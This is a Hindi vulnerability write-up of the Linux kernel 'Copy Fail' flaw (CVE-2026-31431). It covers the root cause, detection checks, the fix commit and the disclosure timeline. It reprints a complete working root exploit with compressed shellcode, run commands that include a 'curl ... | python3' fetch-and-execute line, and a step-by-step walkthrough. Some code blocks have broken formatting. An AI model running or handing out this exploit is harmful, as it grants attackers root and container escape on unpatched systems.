
सीवीई-2026-31431 (Copy Fail) की एक संरचित व्याख्या, जो उन तीन कर्नेल परिवर्तनों को जोड़ती है जिन्होंने भेद्यता को पेश किया और इसके शोषण को सक्षम बनाया।
authencesn में एक तर्क दोष, जो AF_ALG और splice() के माध्यम से सिस्टम पर किसी भी पठनीय फ़ाइल के पेज कैश में नियंत्रित 4-बाइट लेखन में जुड़ जाता है। न कोई रेस कंडीशन, न ऑफसेट, न संकलित पेलोड। यही 732-बाइट स्क्रिप्ट 2017 से हर Linux वितरण पर रूट प्राप्त करती है।
CVE-2026-31431 - Copy Fail Linux कर्नेल के authencesn क्रिप्टोग्राफ़िक टेम्पलेट में एक तर्क दोष है। यह एक अविशेषित स्थानीय उपयोगकर्ता को सिस्टम पर किसी भी पठनीय फ़ाइल के पेज कैश में नियंत्रित 4-बाइट लेखन करने की अनुमति देता है, बिना फ़ाइल को डिस्क पर संशोधित किए।
बग तीनों घटकों में से किसी में व्यक्तिगत रूप से मौजूद नहीं है। यह उनके परस्पर संपर्क से उत्पन्न होता है:``` 2011 ────────────────────────────────────────────────────────────────────── - authencesn added to the kernel (a5079d084f8b). - Uses the caller's destination scatterlist as scratch space. - Reorder ESN bytes before HMAC computation. - Only caller: internal xfrm layer. Harmless.
2015 ────────────────────────────────────────────────────────────────────── - algif_aead.c gains AEAD support with splice() path (104880a6b470). - splice() can deliver page cache pages to the TX scatterlist. - AF_ALG uses out-of-place operation: req->src != req->dst. - Page cache pages remain read-only. Not exploitable.
2017 ────────────────────────────────────────────────────────────────────── - In-place optimization in algif_aead.c (72548b093ee3). - Copies AAD+CT to RX buffer but chains authentication tag pages via sg_chain(). - Sets req->src = req->dst. - Page cache pages now reside in WRITABLE dst. - authencesn writes past boundary → page cache corruption.
2026 ────────────────────────────────────────────────────────────────────── - Copy Fail - CVE-2026-31431. Discovered by Theori / Xint Code. - Exploitable across all distros since 2017.
---
---
---
<div id='root-cause'/>
## ***🧬 मूल कारण विश्लेषण (Root Cause Analysis)***
<div id='primitive'/>
### ***AF_ALG + splice() प्रिमिटिव***
AF_ALG (*[AF_ALG = 38](https://docs.kernel.org/crypto/userspace-if.html#user-space-api-general-remarks)*) एक सॉकेट प्रकार है जो कर्नेल क्रिप्टोग्राफिक API को अविशेषाधिकार प्राप्त यूज़रस्पेस के लिए उजागर करता है। एक अविशेषाधिकार प्राप्त प्रक्रिया यह कर सकती है:
1. AF_ALG / SOCK_SEQPACKET सॉकेट खोलना।
2. कर्नेल क्रिप्टो API द्वारा उजागर किसी भी उपलब्ध AEAD टेम्पलेट पर bind() करना।
3. कॉन्फ़िगर किए गए एल्गोरिथ्म पर setsockopt(SOL_ALG, ALG_SET_KEY, ...) के माध्यम से एक क्रिप्टोग्राफिक कुंजी सेट करना।
4. एक समर्पित ऑपरेशन सॉकेट प्राप्त करने के लिए accept() को कॉल करना जो एन्क्रिप्शन और डिक्रिप्शन अनुरोधों को संभालेगा।
5. sendmsg() का उपयोग करके क्राफ्ट किया गया डेटा भेजना और recvmsg() के माध्यम से संसाधित परिणाम प्राप्त करना, जिससे कर्नेल क्रिप्टो सबसिस्टम के साथ पूरी तरह से इंटरैक्ट किया जा सके।
यह सभी प्रमुख वितरणों के कर्नेल कॉन्फ़िगरेशन में डिफ़ॉल्ट रूप से सक्षम है (CONFIG_CRYPTO_USER_API_AEAD=y)।
**[splice(2)](https://man7.org/linux/man-pages/man2/splice.2.html)** बिना कॉपी किए फ़ाइल डिस्क्रिप्टरों के बीच डेटा स्थानांतरित करता है - यह पेजों के संदर्भ पास करता है, कॉपी नहीं। प्रासंगिक प्रवाह:```
open("/usr/bin/su") -> fd_file
pipe() -> pipe_rd, pipe_wr
# moves N bytes from the file into the pipe
# the pipe buffer now contains a reference to the same physical page in the page cache
splice(fd_file, pipe_wr, N)
# delivers that reference to the AF_ALG socket
# the TX scatterlist of algif_aead now points to the page cache page of /usr/bin/su
splice(pipe_rd, alg_fd, N)
AF_ALG सॉकेट का TX scatterlist फ़ाइल के प्रत्येक read(), mmap(), और execve() के लिए कर्नेल द्वारा उपयोग किए गए उन्हीं भौतिक पृष्ठों के प्रत्यक्ष संदर्भ रखता है। इसमें कोई प्रतिलिपि शामिल नहीं है।
कमिट 72548b093ee3, algif_aead.c। डिक्रिप्शन के लिए, कार्यान्वयन:
In-place operation: RX SGL (req->dst): [ user buffer: AAD (copy) || CT (copy) ] --sg_chain--> [ Tag (page cache pages) ] req->src = req->dst = RX SGL
Result: page cache pages from /usr/bin/su are now part of the WRITABLE scatterlist passed to the crypto algorithm.
<div id='authencesn'/>
### ***authencesn में आउट-ऑफ-बाउंड लेखन***
authencesn kernel AEAD wrapper है जिसका उपयोग IPsec Extended Sequence Numbers (RFC 4303) के साथ करता है। IPsec 64-बिट अनुक्रम संख्याओं का उपयोग करता है:
- seqno_hi - ऊपरी 32 बिट (AAD के बाइट 0-3)
- seqno_lo - निचले 32 बिट (AAD के बाइट 4-7)
केवल seqno_lo वायर पर प्रेषित होता है; seqno_hi अंतर्निहित संदर्भ है। HMAC गणना के लिए, authencesn को इन बाइट्स को पुनर्व्यवस्थित करने की आवश्यकता होती है: हैश इनपुट की शुरुआत में seqno_hi और अंत में seqno_lo।
यह पुनर्व्यवस्था caller के destination scatterlist को scratch space के रूप में उपयोग करके करता है:```c
/* crypto/authencesn.c - crypto_authenc_esn_decrypt() */
// [1] Read bytes 0-7 of the AAD from dst
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0);
// [2] Overwrite dst[4..7] with seqno_hi (temporary modification for HMAC)
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
// [3] *** THE BUG ***
// Writes seqno_lo at dst[assoclen + cryptlen]
// This offset is AFTER the authentication tag - outside the legitimate AEAD output region.
// authencesn uses this position as scratch space and NEVER restores the original bytes.
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1);
कॉल [3] dst[assoclen + cryptlen] पर 4 बाइट लिखता है। डिक्रिप्शन के लिए AEAD API आउटपुट अनुबंध AAD || plaintext है - बिल्कुल assoclen + (cryptlen - authsize) बाइट। assoclen + cryptlen प्रमाणीकरण टैग से परे स्थित है। authencesn ऐसी मेमोरी में लिखता है जिसका वह स्वामी नहीं है।
crypto_authenc_esn_decrypt_tail() सही AAD को पुनर्निर्मित करने के लिए seqno_lo को वापस पढ़ता है, लेकिन dst[assoclen + cryptlen] पर मूल बाइट्स को कभी पुनर्स्थापित नहीं करता। HMAC जाँच सफल हो या विफल, ओवरराइट स्थायी है।
कर्नेल में कोई अन्य मानक AEAD एल्गोरिथ्म इस तरह व्यवहार नहीं करता। GCM, CCM और मानक authenc अपने लेखन को वैध आउटपुट क्षेत्र तक सख्ती से सीमित रखते हैं।
algif_aead के 2017-पश्चात in-place पथ में, req->dst के रूप में authencesn को भेजी गई scatterlist की संरचना निम्नलिखित है:```
req->dst:
[ RX buffer (user memory) ] [ Tag region (page cache pages) ]
[ AAD (copy) || CT (copy) ] [ from /usr/bin/su ]
[<---- assoclen + cryptlen bytes --->] [<--- sg_chain from TX SGL ---->]
^
authencesn writes here:
dst[assoclen + cryptlen] = seqno_lo
(4 bytes controlled by the attacker)
scatterwalk_map_and_copy को पेज स्वामित्व की कोई अवधारणा नहीं है, यह केवल उस पेज को मैप करता है जिसे scatterlist kmap_local_page के माध्यम से इंगित करती है और उसमें लिखता है। जब req->dst में page cache पेज मौजूद होते हैं, तो यह "/usr/bin/su" के कैश्ड पेज को मैप कर देता है और seqno_lo को सीधे फ़ाइल की कर्नेल की इन-मेमोरी कॉपी में लिखता है।
HMAC की गणना पुनर्व्यवस्थित बाइट्स पर की जाती है और विफल हो जाती है (सिफरटेक्स्ट हमलावर-नियंत्रित होता है)। recvmsg() एक त्रुटि लौटाता है। page cache में 4-बाइट लेखन बना रहता है।
---
<div id='scatterlist'/>
### ***scatterlist को page cache पेजों में ट्रैवर्स करना***```c
struct scatterlist {
unsigned long page_link; // physical page + flags (SG_END, SG_CHAIN)
unsigned int offset; // offset within the page
unsigned int length; // bytes in this entry
};
// sg_chain(sgl_a, nents_a, sgl_b):
// sgl_a[nents_a-1].page_link |= SG_CHAIN;
// sgl_a[nents_a-1].page_link = (unsigned long)sgl_b;
// the last entry of sgl_a now points to the beginning of sgl_b
RX SGL (req->dst) after in-place construction:
entry[0]: page=user_buf_page, offset=0, length=assoclen (AAD copied)
entry[1]: page=user_buf_page, offset=assoclen, length=cryptlen-4 (CT copied)
entry[2]: SG_CHAIN -> TX SGL entry[2]
|
v
page = page_cache_page_of_/usr/bin/su
offset = <tag offset within the file>
length = authsize (= 4)
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1):
offset_within_sgl = assoclen + cryptlen
-> walks past entry[0] (assoclen bytes)
-> walks past entry[1] (cryptlen-authsize bytes)
-> reaches entry[2]: offset_within_entry = 0
-> kmap_local_page(page_cache_page_of_su)
-> memcpy(mapped_page + page_offset, tmp+1, 4) <- WRITE INTO PAGE CACHE
-> kunmap_local(mapped_page)
पृष्ठ को कभी dirty चिह्नित नहीं किया जाता (इस पथ में SetPageDirty / mark_page_accessed आह्वान नहीं किए जाते)। कर्नेल का writeback तंत्र इसे डिस्क पर फ्लश नहीं करता। डिस्क पर मौजूद फ़ाइल अपरिवर्तित रहती है।
पेज कैश में नियंत्रित 4-बाइट राइट प्रिमिटिव पूर्ण स्थानीय विशेषाधिकार वृद्धि (LPE) में बदल जाता है:
हमलावर एक बार में 4 बाइट्स लिखने की प्रक्रिया को दोहराते हुए, पेज कैश में एक setuid बाइनरी के .text अनुभाग में shellcode पैच कर सकता है। execve() पेज कैश से लोड होता है, इसलिए दूषित बाइनरी UID 0 के साथ निष्पादित होती है।
पेज कैश पूरे होस्ट में साझा होता है, जिसमें सभी कंटेनर शामिल हैं। Copy Fail केवल एक स्थानीय LPE नहीं है, यह एक कंटेनर एस्केप प्रिमिटिव और Kubernetes नोड समझौता वेक्टर है।
| वातावरण | जोखिम | परिणाम |
|---|---|---|
| मल्टी-टेनेंट Linux होस्ट | गंभीर | कोई भी उपयोगकर्ता → रूट |
| Kubernetes / कंटेनर | गंभीर | पॉड → होस्ट, क्रॉस-टेनेंट |
| CI रनर (अविश्वसनीय PRs) | गंभीर | PR → रनर पर रूट |
| उपयोगकर्ता कोड निष्पादित करने वाला क्लाउड SaaS | गंभीर | टेनेंट → होस्ट रूट |
| सिंगल-टेनेंट सर्वर | उच्च | आंतरिक LPE; वेब RCE के साथ श्रृंखला |
| सिंगल-उपयोगकर्ता वर्कस्टेशन | मध्यम | पोस्ट-एक्सप्लॉइटेशन विशेषाधिकार वृद्धि |
2017 और पैच के बीच निर्मित कर्नेल चलाने वाला कोई भी Linux सिस्टम, जिसमें डिफ़ॉल्ट कॉन्फ़िगरेशन में AF_ALG सक्षम है, जो प्रभावी रूप से सभी मुख्यधारा वितरणों को शामिल करता है।
Theori / Xint द्वारा सीधे सत्यापित:
| Distribution | Kernel |
|---|
| Ubuntu 24.04 LTS | 6.17.0-1007-aws |
| Amazon Linux 2023 | 6.18.8-9.213.amzn2023 |
| RHEL 10.1 | 6.12.0-124.45.1.el10_1 |
| SUSE 16 | 6.12.0-160000.9-default |
प्रभावित कर्नेल चलाने वाले अन्य वितरण (Debian, Arch, Fedora, Rocky, Alma, Oracle, एम्बेडेड लक्ष्य) समान व्यवहार करते हैं, बग साझा क्रिप्टो सबसिस्टम में स्थित है, किसी वितरण-विशिष्ट पैच में नहीं।
एक्सप्लॉइटेशन आवश्यकताएँ:
uname -r
यदि कर्नेल 2017 और पैच (कमिट a664bf3d603d) के बीच बनाया गया था, तो सिस्टम संभावित रूप से प्रभावित है। सत्यापित करें कि पैच मौजूद है:```bash
# Ubuntu / Debian
dpkg -l | grep linux-image
# RHEL / Fedora / Amazon Linux
rpm -q kernel
# SUSE
zypper se -s kernel-default
python3 -c " import socket try: s = socket.socket(38, 5, 0) s.close() print('[+] AF_ALG available - system potentially affected') except Exception as e: print(f'[-] AF_ALG not available: {e}') "
### ***3. जाँच करें कि algif_aead लोड है या नहीं***```bash
sudo modinfo algif_aead 2>/dev/null && echo "[+] algif_aead available" || echo "[-] algif_aead not found"
निम्नलिखित स्क्रिप्ट जाँचती है कि क्या असुरक्षित पथ तक पहुँचा जा सकता है। यह कोई लेखन नहीं करती, यह केवल हमले की सतह की उपलब्धता की पुष्टि करती है:```python #!/usr/bin/env python3 """ Copy Fail (CVE-2026-31431) - Attack surface verification. Does not perform any writes. Only checks whether the vulnerable path is available. """ import socket import sys
def check_surface(): results = {}
# 1. Check if AF_ALG socket is available
try:
# AF_ALG, SOCK_SEQPACKET
s = socket.socket(38, 5, 0)
results['af_alg_socket'] = True
# 2. Try binding to authencesn (the vulnerable algorithm)
try:
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
results['authencesn_available'] = True
except OSError as e:
results['authencesn_available'] = False
results['authencesn_error'] = str(e)
s.close()
except OSError as e:
results['af_alg_socket'] = False
results['af_alg_error'] = str(e)
# 3. Check if splice() is available
import os
results['splice_available'] = hasattr(os, 'splice')
print("\n=== Copy Fail CVE-2026-31431 - Surface Check ===\n")
for k, v in results.items():
marker = '[+]' if v is True else '[-]' if v is False else '[i]'
print(f" {marker} {k}: {v}")
if results.get('af_alg_socket') and results.get('authencesn_available') and results.get('splice_available'):
print("\n [!] SURFACE AVAILABLE - system exposes the full attack surface.")
print(" Verify whether the kernel includes patch a664bf3d603d.")
else:
print("\n [OK] Surface mitigated or not available.")
if name == "main": check_surface()
---
<div id='exploit'/>
## ***💣 एक्सप्लॉइट***
यह एक्सप्लॉइट मूल रूप से Theori / Xint Code द्वारा 29 अप्रैल, 2026 को सार्वजनिक खुलासे के साथ जारी किया गया था।
- **SHA256:** a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9`
- **आधिकारिक रिपॉजिटरी:** [github.com/theori-io/copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)
- **आवश्यकताएँ:** Python 3.10+, प्रभावित कर्नेल, AF_ALG सक्षम।
---```python
#!/usr/bin/env python3
# Copy Fail - CVE-2026-31431
# Original: Theori / Xint Code - https://copy.fail/
# sha256: a567d09b15f6e4440e70c9f2aa8edec8ed59f53301952df05c719aa3911687f9
# Requirements: Python 3.10+ (os.splice), affected kernel (2017-2026), AF_ALG enabled.
# Default target: /usr/bin/su (any readable setuid binary works).
# The page cache write is NOT persistent - it is reverted on the next reboot.
import os as g, zlib, socket as s
def d(x):
return bytes.fromhex(x)
def c(f, t, c):
# Open AF_ALG socket and bind to authencesn(hmac(sha256),cbc(aes))
a = s.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
h = 279 # SOL_ALG
v = a.setsockopt
v(h, 1, d('0800010000000010' + '0' * 64)) # ALG_SET_KEY
v(h, 5, None, 4) # ALG_SET_AUTHSIZE = 4
u, _ = a.accept()
o = t + 4
i = d('00')
# sendmsg: AAD = seqno_hi (4 bytes) || seqno_lo (4 bytes = payload to write)
# authencesn writes seqno_lo into dst[assoclen+cryptlen] -> page cache
u.sendmsg(
[b"A" * 4 + c], # AAD: seqno_hi=0x41414141, seqno_lo=payload
[
(h, 3, i * 4), # ALG_SET_IV
(h, 2, b'\x10' + i * 19), # ALG_SET_OP=DECRYPT + params
(h, 4, b'\x08' + i * 3), # ALG_SET_AEAD_AUTHSIZE
],
32768 # MSG_SENDPAGE_NOTLAST
)
# splice: delivers page cache pages from the target file into the AF_ALG socket
# The TX SGL of the socket will point directly to page cache pages
r, w = g.pipe()
n = g.splice
n(f, w, o, offset_src=0) # file -> pipe (reference to page cache page)
n(r, u.fileno(), o) # pipe -> AF_ALG socket (TX SGL points to page cache)
# recv: triggers decrypt in the kernel
# authencesn performs the scratch write -> 4 bytes written into the page cache
# recvmsg() returns error (HMAC fails - attacker-controlled ciphertext), write persists
try:
u.recv(8 + t)
except:
0
# Open target binary (readable by any user)
f = g.open("/usr/bin/su", 0)
# zlib-compressed shellcode - patches /usr/bin/su in the page cache
i = 0
e = zlib.decompress(d(
"78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d"
"209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675"
"c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"
))
# Iterate in 4-byte chunks: each iteration performs a controlled write into the page cache
while i < len(e):
c(f, i, e[i:i+4])
i += 4
# Execute the patched binary in memory - runs as UID 0
g.system("su")
curl https://copy.fail/exp | python3
python3 copy_fail_exp.py
python3 copy_fail_exp.py /usr/bin/passwd
id
---
---
---
<div id='walkthrough'/>
## ***🔬 एक्सप्लॉइट वॉकथ्रू***
<div id='step1'/>
### ***चरण 1 - सॉकेट सेटअप***```python
# AF_ALG=38, SOCK_SEQPACKET=5
a = socket.socket(38, 5, 0)
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
The authencesn टेम्पलेट चुना गया है - कर्नेल में एकमात्र AEAD एल्गोरिथ्म जो अपने वैध आउटपुट क्षेत्र के बाहर लिखता है। यह विकल्प जानबूझकर है: GCM, CCM, और मानक authenc बग को ट्रिगर नहीं करते हैं।```python a.setsockopt(SOL_ALG, ALG_SET_KEY, key) # arbitrary 32-byte key a.setsockopt(SOL_ALG, ALG_SET_AUTHSIZE, 4) # authsize = 4 bytes u, _ = a.accept() # operation socket
ALG_SET_AUTHSIZE = 4 प्रमाणीकरण टैग आकार सेट करता है। यह मान सीधे नियंत्रित करता है कि scatterlist में टैग क्षेत्र के सापेक्ष dst[assoclen + cryptlen] कहाँ स्थित होता है, और इसलिए page cache पृष्ठ के भीतर कौन सा ऑफ़सेट अधिलेखित होता है।
<div id='step2'/>
### ***चरण 2 - राइट का निर्माण करें***
पेलोड के प्रत्येक 4-बाइट खंड के लिए:```python
# AAD = 8 bytes: seqno_hi (bytes 0-3) || seqno_lo (bytes 4-7)
# seqno_lo = the 4 bytes we want to write into the page cache
aad = b"\x41\x41\x41\x41" + payload_chunk_4bytes
u.sendmsg([aad], [cmsg_headers], MSG_SENDPAGE_NOTLAST)
AAD के बाइट 4-7 (seqno_lo) वास्तव में वे 4 बाइट हैं जिन्हें authencesn dst[assoclen + cryptlen] में लिखता है। हमलावर उन्हें वांछित पेलोड मान के साथ तैयार करता है।
फ़ाइल ऑफ़सेट को splice पैरामीटर के माध्यम से नियंत्रित किया जाता है:```python
o = t + 4 r, w = os.pipe() os.splice(target_fd, pipe_wr, o, offset_src=0) # offset_src=0, length=o os.splice(pipe_rd, alg_fd, o)
<div id='step3'/>
### ***चरण 3 - पेज कैश लेखन ट्रिगर करें***```python
try:
u.recv(8 + t)
except:
pass # recvmsg() returns EBADMSG/EINVAL - HMAC fails. Expected.
The recv() कॉल कर्नेल के अंदर डिक्रिप्ट ऑपरेशन को ट्रिगर करती है। recvmsg() त्रुटि अपेक्षित और अप्रासंगिक है। पेज कैश लेखन पहले ही हो चुका है।
सभी पेलोड चंक्स पर पुनरावृत्ति करने के बाद:``` os.system("su")
execve("/usr/bin/su"):
1. कर्नेल बाइनरी को पेज कैश से लोड करता है।
2. कैश्ड पेज में इंजेक्ट किया गया शेलकोड होता है (डिस्क पर फ़ाइल अपरिवर्तित रहती है)।
3. /usr/bin/su setuid-root है: प्रोसेस प्रभावी UID 0 के साथ शुरू होता है।
4. शेलकोड एक रूट शेल उत्पन्न करता है।```
$ python3 copy_fail_exp.py
# id
uid=0(root) gid=1002(xint) groups=1002(xint)
ये तीनों एक ही आक्रमण श्रेणी से संबंधित हैं: अनप्रिविलेज्ड यूज़रस्पेस से पेज कैश में लिखना, बिना डिस्क पर फ़ाइल को संशोधित किए, setuid बाइनरी के माध्यम से विशेषाधिकार प्राप्त करना। इनकी कार्यप्रणाली और बाधाएँ काफी भिन्न हैं।
VM सबसिस्टम के कॉपी-ऑन-राइट (COW) पथ में रेस कंडीशन। TOCTOU विंडो जीतना आवश्यक था, कई प्रयास, परिवर्तनशील विश्वसनीयता, कभी-कभी क्रैश। कर्नेल 2.6.22 से 4.8.3।
पाइप बफ़र्स में PIPE_BUF_FLAG_CAN_MERGE फ़्लैग का दुरुपयोग करके हमलावर-नियंत्रित डेटा को पेज कैश में मर्ज करना। नियतात्मक, लेकिन संस्करण-विशिष्ट (कर्नेल ≥ 5.8 विशेष पैच के साथ)।
सीधी-रेखा तर्क दोष। न रेस कंडीशन, न प्रति-डिस्ट्रो ऑफ़सेट, न संकलित पेलोड। केवल मानक लाइब्रेरी का उपयोग करने वाली 732-बाइट पायथन स्क्रिप्ट 2017 से 2026 तक सभी प्रमुख डिस्ट्रीब्यूशन पर रूट प्राप्त करती है।
| Dirty Cow | Dirty Pipe | Copy Fail | |
|---|---|---|---|
| तंत्र | रेस कंडीशन (COW) | पाइप फ़्लैग दुरुपयोग | AEAD लॉजिक + स्कैटरलिस्ट |
| रेस की आवश्यकता | हाँ | नहीं | नहीं |
| विश्वसनीयता | 30-80% | उच्च | 100%, एक बार में |
| कर्नेल रेंज | 2.6.22-4.8.3 | ≥5.8 (विशिष्ट) | 2017-2026 (~9 वर्ष) |
| प्रति-डिस्ट्रो ऑफ़सेट | हाँ | कुछ | नहीं |
| संकलित पेलोड | हाँ | नहीं | नहीं |
| कंटेनर एस्केप | नहीं | नहीं | हाँ |
मेनलाइन कमिट a664bf3d603d ठीक करता है 72548b093ee3 (2017 का इन-प्लेस ऑप्टिमाइज़ेशन)
पैच algif_aead.c को वापस आउट-ऑफ-प्लेस ऑपरेशन में ले जाता है। req->src और req->dst फिर से अलग-अलग स्कैटरलिस्ट बन जाते हैं। splice() के माध्यम से वितरित पेज कैश पृष्ठ केवल-पठनीय TX SGL (req->src) में बने रहते हैं। RX बफ़र - एकमात्र मेमोरी जिसमें क्रिप्टो एल्गोरिदम को लिखने की अनुमति है - उपयोगकर्ता का recvmsg बफ़र (req->dst) है। sg_chain() तंत्र जो पहले टैग पृष्ठों (पेज कैश) को लिखने योग्य गंतव्य में जोड़ता था, हटा दिया गया है।```c /* BEFORE (vulnerable) - req->src = req->dst, page cache pages in dst / aead_request_set_crypt(&areq->cra_u.aead_req, areq->first_rsgl.sgl.sgt.sgl, / RX SGL as src / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (same!) */ used, ctx->iv);
/* AFTER (fix) - separate scatterlists / aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, / TX SGL as src (may contain page cache pages) / areq->first_rsgl.sgl.sgt.sgl, / RX SGL as dst (user buffer only) */ used, ctx->iv);
कमिट संदेश कहता है: "algif_aead में इन-प्लेस संचालन का कोई लाभ नहीं है क्योंकि स्रोत और गंतव्य अलग-अलग मैपिंग से आते हैं।"
---
---
---
<div id='timeline'/>
## ***📅 प्रकटीकरण समयरेखा***
| तारीख | घटना |
|------------|----------------------------------------------------------|
| 2026-03-23 | लिनक्स कर्नेल सुरक्षा टीम को भेद्यता की सूचना दी गई |
| 2026-03-24 | प्रारंभिक स्वीकृति प्राप्त हुई |
| 2026-03-25 | पैच प्रस्तावित और समीक्षित किए गए |
| 2026-04-01 | पैच मेनलाइन में कमिट किया गया (a664bf3d603d) |
| 2026-04-22 | CVE-2026-31431 निर्दिष्ट किया गया |
| 2026-04-29 | सार्वजनिक खुलासा, [copy.fail](https://copy.fail/) |
**खोजकर्ता:** Taeyang Lee, [Theori](https://theori.io/) / [Xint Code](https://xint.io/) में
---
---
---
<div id='references'/>
## ***📚 संदर्भ***
- **[NVD - CVE-2026-31431](https://nvd.nist.gov/vuln/detail/CVE-2026-31431)**
> राष्ट्रीय भेद्यता डेटाबेस में प्रविष्टि।
- **[Copy Fail - आधिकारिक खुलासा](https://copy.fail/)**
> FAQ, प्रभावित वितरण, शमन और PoC के साथ लैंडिंग पृष्ठ।
- **[Theori / Xint Blog - पूर्ण विवरण](https://xint.io/blog/copy-fail-linux-distributions)**
> मूल कारण, स्कैटरलिस्ट आरेख, ऐतिहासिक श्रृंखला (2011→2015→2017), और एक्सप्लॉइट वॉकथ्रू।
- **[Theori GitHub - copy-fail-CVE-2026-31431](https://github.com/theori-io/copy-fail-CVE-2026-31431)**
> PoC युक्त आधिकारिक रिपॉजिटरी।
- **[Commit a664bf3d603d - फिक्स](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d)**
> algif_aead इन-प्लेस अनुकूलन को वापस करता है।
- **[Commit 72548b093ee3 - मूल कारण (2017)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=72548b093ee3)**
> इन-प्लेस अनुकूलन का परिचय देता है जिसने पेज कैश पृष्ठों को लिखने योग्य गंतव्य में रखा।
- **[Commit a5079d084f8b - authencesn परिचय (2011)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a5079d084f8b)**
> authencesn जोड़ने वाला मूल कमिट, स्क्रैच राइट पैटर्न स्थापित करता है।
- **[Commit 104880a6b470 - authencesn AEAD API में स्थानांतरित (2015)](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=104880a6b470)**
> assoclen + cryptlen ऑफसेट का परिचय देता है जो वैध क्षेत्र के बाहर लिखता है।
- **[CVE-2016-5195 - Dirty Cow](https://dirtycow.ninja/)** · **[CVE-2022-0847 - Dirty Pipe](https://dirtypipe.cm4all.com/)**
> पेज-कैश भ्रष्टाचार / LPE वर्ग में पूर्व कला।